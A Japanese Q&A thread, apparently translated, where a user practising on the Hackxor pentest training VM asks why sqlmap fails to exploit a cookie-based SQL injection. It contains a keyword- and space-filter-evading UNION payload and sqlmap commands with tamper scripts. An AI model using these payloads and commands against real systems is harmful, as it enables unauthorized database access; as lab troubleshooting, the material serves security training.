web-dev-qa-db-ja.com

Sqlmapは検証済みのSQLインジェクションを利用しません

現在、私は Hackxor VM (ペンテストトレーニング環境)をいじっています。sqlmapを使用して、手動で悪用できる脆弱性を悪用しようとしています。

この脆弱性は、Cookieヘッダーの「userid」パラメータにあります。アプリケーションは、スペースをブロックするいくつかのSQLiフィルターといくつかのSQLキーワードを実装しているため、ペイロードを少し複雑にする必要があります。

上記の「userid」パラメータにHTTPプロキシを使用して次のペイロードを挿入する脆弱性をうまく利用できます。

71934/**/unUNIONion/**/seSELECTlect/**/*/**/from/**/users

次に、次のコマンドを使用して、sqlmapによるインジェクションを複製して、成功しないようにしました。

sqlmap -u "http://cloaknet:8080/proxypanel.jsp" --cookie="JSESSIONID=CA97BAFA78E01D237B86278E9DFE12C3; userid=71934" -p "userid" --level 5 --tamper "nonrecursivereplacement.py,space2comment.py" --sql-query="71934 UNION SELECT * from users"

Sqlmapが指定されたクエリを挿入onlyしてエクスプロイトに成功することを期待しましたが、sqlmapは多くのクエリを試行し、最後に 'userid'パラメータを返します脆弱ではありません。

何が悪いのですか?

6
Hidden

このように機能する必要があります

sqlmap -u "http://cloaknet:8080/proxypanel.jsp" --cookie="JSESSIONID=CA97BAFA78E01D237B86278E9DFE12C3; userid=71934" --level 5 --risk 3 -p "userid" --tamper=nonrecursivereplacement,space2comment --sql-query="71934 UNION SELECT * from users"
1
ugur.ercan

私は実際に同様の問題に遭遇しました。私の構文は正しいのですが、どこに問題があるのか​​はまだわかりませんが、-rフラグを使用して、キャプチャされたHTTPヘッダーをパラメーターとしてsqlmapにフィードすることができました。私がこれを行うと、このsqlmapはフィールドを脆弱であると識別し(これはすでに知っていました)、当初考えていたとおりに動作しました。

SQLmap POSTパラメータ 'txtLoginID'は挿入できません

お役に立てれば!

1
Grady Negronida